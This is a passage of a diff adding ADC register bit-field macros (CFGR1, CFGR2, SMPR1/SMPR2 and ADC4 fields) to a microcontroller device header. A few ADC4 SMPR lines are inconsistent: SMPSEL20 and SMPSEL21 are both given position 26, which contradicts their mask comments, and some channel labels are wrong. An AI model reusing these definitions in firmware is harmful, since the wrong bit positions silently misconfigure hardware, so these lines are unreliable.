0x00000020 */ +#define ADC4_CFGR1_EXTSEL_1 (0x02UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC4_CFGR1_EXTSEL_2 (0x04UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ + +#define ADC4_CFGR1_CHSELRMOD_Pos (21UL) +#define ADC4_CFGR1_CHSELRMOD_Msk (0x1UL << ADC4_CFGR1_CHSELRMOD_Pos) /*!< 0x00200000 */ +#define ADC4_CFGR1_CHSELRMOD ADC4_CFGR1_CHSELRMOD_Msk /*!< ADC JSQR Queue mode */ + +#define ADC_CFGR1_AWD1CH_Pos (26UL) +#define ADC_CFGR1_AWD1CH_Msk (0x1FUL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR1_AWD1CH ADC_CFGR1_AWD1CH_Msk /*!< ADC Analog watchdog 1 Channel selection */ +#define ADC_CFGR1_AWD1CH_0 (0x01UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR1_AWD1CH_1 (0x02UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR1_AWD1CH_2 (0x04UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR1_AWD1CH_3 (0x08UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR1_AWD1CH_4 (0x10UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_CFGR2 register ********************/ +#define ADC_CFGR2_ROVSE_Pos (0UL) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC Regular group oversampler enable */ +#define ADC_CFGR2_JOVSE_Pos (1UL) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC Injected group oversampler enable */ + +#define ADC_CFGR2_OVSS_Pos (5UL) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC Regular Oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9UL) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC Triggered regular Oversampling */ +#define ADC_CFGR2_ROVSM_Pos (10UL) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC Regular oversampling mode */ + +#define ADC_CFGR2_OVSR_Pos (16UL) +#define ADC_CFGR2_OVSR_Msk (0x3FFUL << ADC_CFGR2_OVSR_Pos) /*!< 0x03FF0000 */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling Ratio */ +#define ADC_CFGR2_OVSR_0 (0x001UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_OVSR_1 (0x002UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00020000 */ +#define ADC_CFGR2_OVSR_2 (0x004UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00040000 */ +#define ADC_CFGR2_OVSR_3 (0x008UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00080000 */ +#define ADC_CFGR2_OVSR_4 (0x010UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00100000 */ +#define ADC_CFGR2_OVSR_5 (0x020UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00200000 */ +#define ADC_CFGR2_OVSR_6 (0x040UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00400000 */ +#define ADC_CFGR2_OVSR_7 (0x080UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00800000 */ +#define ADC_CFGR2_OVSR_8 (0x100UL << ADC_CFGR2_OVSR_Pos) /*!< 0x01000000 */ +#define ADC_CFGR2_OVSR_9 (0x200UL << ADC_CFGR2_OVSR_Pos) /*!< 0x02000000 */ + +#define ADC_CFGR2_BULB_Pos (13UL) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x00002000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ + +#define ADC_CFGR2_SWTRIG_Pos (14UL) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x00004000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software trigger bit for sampling time control trigger mode */ + +#define ADC_CFGR2_SMPTRIG_Pos (15UL) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x00008000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sampling time control trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (27UL) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC low frequency trigger mode */ + +#define ADC_CFGR2_LSHIFT_Pos (28UL) +#define ADC_CFGR2_LSHIFT_Msk (0xFUL << ADC_CFGR2_LSHIFT_Pos) /*!< 0xF0000000 */ +#define ADC_CFGR2_LSHIFT ADC_CFGR2_LSHIFT_Msk /*!< ADC Left shift factor */ +#define ADC_CFGR2_LSHIFT_0 (0x1UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x10000000 */ +#define ADC_CFGR2_LSHIFT_1 (0x2UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LSHIFT_2 (0x4UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x40000000 */ +#define ADC_CFGR2_LSHIFT_3 (0x8UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x80000000 */ + +/* Specific ADC4 */ +#define ADC4_CFGR2_OVSR_Pos (2UL) +#define ADC4_CFGR2_OVSR_Msk (0x7UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC4_CFGR2_OVSR ADC4_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC4_CFGR2_OVSR_0 (0x1UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR2_OVSR_1 (0x2UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC4_CFGR2_OVSR_2 (0x4UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC4_CFGR2_LFTRIG_Pos (29UL) +#define ADC4_CFGR2_LFTRIG_Msk (0x1UL << ADC4_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC4_CFGR2_LFTRIG ADC4_CFGR2_LFTRIG_Msk /*!< ADC4 low frequency trigger mode */ + +/******************** Bit definition for ADC_SMPR1 register ********************/ +#define ADC_SMPR1_SMP0_Pos (0UL) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3UL) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC Channel 1 Sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6UL) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC Channel 2 Sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9UL) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC Channel 3 Sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12UL) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC Channel 4 Sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15UL) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC Channel 5 Sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18UL) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC Channel 6 Sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21UL) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC Channel 7 Sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24UL) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC Channel 8 Sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27UL) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC Channel 9 Sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC4_SMPR_SMP1_Pos (0UL) +#define ADC4_SMPR_SMP1_Msk (0x7UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000007 */ +#define ADC4_SMPR_SMP1 ADC4_SMPR_SMP1_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC4_SMPR_SMP1_0 (0x1UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000001 */ +#define ADC4_SMPR_SMP1_1 (0x2UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000002 */ +#define ADC4_SMPR_SMP1_2 (0x4UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000004 */ + +#define ADC4_SMPR_SMP2_Pos (4UL) +#define ADC4_SMPR_SMP2_Msk (0x7UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000070 */ +#define ADC4_SMPR_SMP2 ADC4_SMPR_SMP2_Msk /*!< ADC group of channels sampling time 2 */ +#define ADC4_SMPR_SMP2_0 (0x1UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000010 */ +#define ADC4_SMPR_SMP2_1 (0x2UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000020 */ +#define ADC4_SMPR_SMP2_2 (0x4UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000040 */ + +#define ADC4_SMPR_SMPSEL_Pos (8UL) +#define ADC4_SMPR_SMPSEL_Msk (0xFFFFFFUL << ADC4_SMPR_SMPSEL_Pos) /*!< 0xFFFFFF00 */ +#define ADC4_SMPR_SMPSEL ADC4_SMPR_SMPSEL_Msk /*!< ADC4 all channels sampling time selection */ +#define ADC4_SMPR_SMPSEL0_Pos (8UL) +#define ADC4_SMPR_SMPSEL0_Msk (0x1UL << ADC4_SMPR_SMPSEL0_Pos) /*!< 0x00000100 */ +#define ADC4_SMPR_SMPSEL0 ADC4_SMPR_SMPSEL0_Msk /*!< ADC4 channel 0 sampling time selection */ +#define ADC4_SMPR_SMPSEL1_Pos (9UL) +#define ADC4_SMPR_SMPSEL1_Msk (0x1UL << ADC4_SMPR_SMPSEL1_Pos) /*!< 0x00000200 */ +#define ADC4_SMPR_SMPSEL1 ADC4_SMPR_SMPSEL1_Msk /*!< ADC4 channel 1 sampling time selection */ +#define ADC4_SMPR_SMPSEL2_Pos (10UL) +#define ADC4_SMPR_SMPSEL2_Msk (0x1UL << ADC4_SMPR_SMPSEL2_Pos) /*!< 0x00000400 */ +#define ADC4_SMPR_SMPSEL2 ADC4_SMPR_SMPSEL2_Msk /*!< ADC4 channel 2 sampling time selection */ +#define ADC4_SMPR_SMPSEL3_Pos (11UL) +#define ADC4_SMPR_SMPSEL3_Msk (0x1UL << ADC4_SMPR_SMPSEL3_Pos) /*!< 0x00000800 */ +#define ADC4_SMPR_SMPSEL3 ADC4_SMPR_SMPSEL3_Msk /*!< ADC4 channel 3 sampling time selection */ +#define ADC4_SMPR_SMPSEL4_Pos (12UL) +#define ADC4_SMPR_SMPSEL4_Msk (0x1UL << ADC4_SMPR_SMPSEL4_Pos) /*!< 0x00001000 */ +#define ADC4_SMPR_SMPSEL4 ADC4_SMPR_SMPSEL4_Msk /*!< ADC4 channel 4 sampling time selection */ +#define ADC4_SMPR_SMPSEL5_Pos (13UL) +#define ADC4_SMPR_SMPSEL5_Msk (0x1UL << ADC4_SMPR_SMPSEL5_Pos) /*!< 0x00002000 */ +#define ADC4_SMPR_SMPSEL5 ADC4_SMPR_SMPSEL5_Msk /*!< ADC4 channel 5 sampling time selection */ +#define ADC4_SMPR_SMPSEL6_Pos (14UL) +#define ADC4_SMPR_SMPSEL6_Msk (0x1UL << ADC4_SMPR_SMPSEL6_Pos) /*!< 0x00004000 */ +#define ADC4_SMPR_SMPSEL6 ADC4_SMPR_SMPSEL6_Msk /*!< ADC4 channel 6 sampling time selection */ +#define ADC4_SMPR_SMPSEL7_Pos (15UL) +#define ADC4_SMPR_SMPSEL7_Msk (0x1UL << ADC4_SMPR_SMPSEL7_Pos) /*!< 0x00008000 */ +#define ADC4_SMPR_SMPSEL7 ADC4_SMPR_SMPSEL7_Msk /*!< ADC4 channel 7 sampling time selection */ +#define ADC4_SMPR_SMPSEL8_Pos (16UL) +#define ADC4_SMPR_SMPSEL8_Msk (0x1UL << ADC4_SMPR_SMPSEL8_Pos) /*!< 0x00010000 */ +#define ADC4_SMPR_SMPSEL8 ADC4_SMPR_SMPSEL8_Msk /*!< ADC4 channel 8 sampling time selection */ +#define ADC4_SMPR_SMPSEL9_Pos (17UL) +#define ADC4_SMPR_SMPSEL9_Msk (0x1UL << ADC4_SMPR_SMPSEL9_Pos) /*!< 0x00020000 */ +#define ADC4_SMPR_SMPSEL9 ADC4_SMPR_SMPSEL9_Msk /*!< ADC4 channel 9 sampling time selection */ +#define ADC4_SMPR_SMPSEL10_Pos (18UL) +#define ADC4_SMPR_SMPSEL10_Msk (0x1UL << ADC4_SMPR_SMPSEL10_Pos) /*!< 0x00040000 */ +#define ADC4_SMPR_SMPSEL10 ADC4_SMPR_SMPSEL10_Msk /*!< ADC4 channel 10 sampling time selection */ +#define ADC4_SMPR_SMPSEL11_Pos (19UL) +#define ADC4_SMPR_SMPSEL11_Msk (0x1UL << ADC4_SMPR_SMPSEL11_Pos) /*!< 0x00080000 */ +#define ADC4_SMPR_SMPSEL11 ADC4_SMPR_SMPSEL11_Msk /*!< ADC4 channel 11 sampling time selection */ +#define ADC4_SMPR_SMPSEL12_Pos (20UL) +#define ADC4_SMPR_SMPSEL12_Msk (0x1UL << ADC4_SMPR_SMPSEL12_Pos) /*!< 0x00100000 */ +#define ADC4_SMPR_SMPSEL12 ADC4_SMPR_SMPSEL12_Msk /*!< ADC4 channel 12 sampling time selection */ +#define ADC4_SMPR_SMPSEL13_Pos (21UL) +#define ADC4_SMPR_SMPSEL13_Msk (0x1UL << ADC4_SMPR_SMPSEL13_Pos) /*!< 0x00200000 */ +#define ADC4_SMPR_SMPSEL13 ADC4_SMPR_SMPSEL13_Msk /*!< ADC4 channel 13 sampling time selection */ +#define ADC4_SMPR_SMPSEL14_Pos (22UL) +#define ADC4_SMPR_SMPSEL14_Msk (0x1UL << ADC4_SMPR_SMPSEL14_Pos) /*!< 0x00400000 */ +#define ADC4_SMPR_SMPSEL14 ADC4_SMPR_SMPSEL14_Msk /*!< ADC4 channel 14 sampling time selection */ +#define ADC4_SMPR_SMPSEL15_Pos (23UL) +#define ADC4_SMPR_SMPSEL15_Msk (0x1UL << ADC4_SMPR_SMPSEL15_Pos) /*!< 0x00800000 */ +#define ADC4_SMPR_SMPSEL15 ADC4_SMPR_SMPSEL15_Msk /*!< ADC4 channel 15 sampling time selection */ +#define ADC4_SMPR_SMPSEL16_Pos (24UL) +#define ADC4_SMPR_SMPSEL16_Msk (0x1UL << ADC4_SMPR_SMPSEL16_Pos) /*!< 0x01000000 */ +#define ADC4_SMPR_SMPSEL16 ADC4_SMPR_SMPSEL16_Msk /*!< ADC4 channel 16 sampling time selection */ +#define ADC4_SMPR_SMPSEL17_Pos (25UL) +#define ADC4_SMPR_SMPSEL17_Msk (0x1UL << ADC4_SMPR_SMPSEL17_Pos) /*!< 0x02000000 */ +#define ADC4_SMPR_SMPSEL17 ADC4_SMPR_SMPSEL17_Msk /*!< ADC4 channel 17 sampling time selection */ +#define ADC4_SMPR_SMPSEL18_Pos (26UL) +#define ADC4_SMPR_SMPSEL18_Msk (0x1UL << ADC4_SMPR_SMPSEL18_Pos) /*!< 0x04000000 */ +#define ADC4_SMPR_SMPSEL18 ADC4_SMPR_SMPSEL18_Msk /*!< ADC4 channel 18 sampling time selection */ +#define ADC4_SMPR_SMPSEL19_Pos (27UL) +#define ADC4_SMPR_SMPSEL19_Msk (0x1UL << ADC4_SMPR_SMPSEL19_Pos) /*!< 0x08000000 */ +#define ADC4_SMPR_SMPSEL19 ADC4_SMPR_SMPSEL19_Msk /*!< ADC4 channel 19 sampling time selection */ +#define ADC4_SMPR_SMPSEL20_Pos (26UL) +#define ADC4_SMPR_SMPSEL20_Msk (0x1UL << ADC4_SMPR_SMPSEL20_Pos) /*!< 0x10000000 */ +#define ADC4_SMPR_SMPSEL20 ADC4_SMPR_SMPSEL20_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL21_Pos (26UL) +#define ADC4_SMPR_SMPSEL21_Msk (0x1UL << ADC4_SMPR_SMPSEL21_Pos) /*!< 0x20000000 */ +#define ADC4_SMPR_SMPSEL21 ADC4_SMPR_SMPSEL21_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL22_Pos (30UL) +#define ADC4_SMPR_SMPSEL22_Msk (0x1UL << ADC4_SMPR_SMPSEL22_Pos) /*!< 0x40000000 */ +#define ADC4_SMPR_SMPSEL22 ADC4_SMPR_SMPSEL22_Msk /*!< ADC4 channel 21 sampling time selection */ +#define ADC4_SMPR_SMPSEL23_Pos (31UL) +#define ADC4_SMPR_SMPSEL23_Msk (0x1UL << ADC4_SMPR_SMPSEL23_Pos) /*!< 0x80000000 */ +#define ADC4_SMPR_SMPSEL23 ADC4_SMPR_SMPSEL23_Msk /*!< ADC4 channel 23 sampling time selection */ + +/******************** Bit definition for ADC_SMPR2 register ********************/ +#define ADC_SMPR2_SMP10_Pos (0UL) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC Channel 10 Sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3UL) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC Channel 11 Sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6UL) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC Channel 12 Sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9UL) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC Channel 13 Sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12UL) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC Channel 14 Sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15UL) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC Channel 15 Sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18UL) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC Channel 16 Sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21UL) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC Channel 17 Sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24UL) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC Channel 18 Sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR2_SMP19_Pos (27UL) +#define ADC_SMPR2_SMP19_Msk (0x7UL << ADC_SMPR2_SMP19_Pos) /*!< 0x38000000 */ +#define ADC_SMPR2_SMP19 ADC_SMPR2_SMP19_Msk /*!< ADC Channel 19 Sampling time selection */ +#define ADC_SMPR2_SMP19_0 (0x1UL << ADC_SMPR2_SMP19_Pos) /*!< 0x08000000 */ +#define 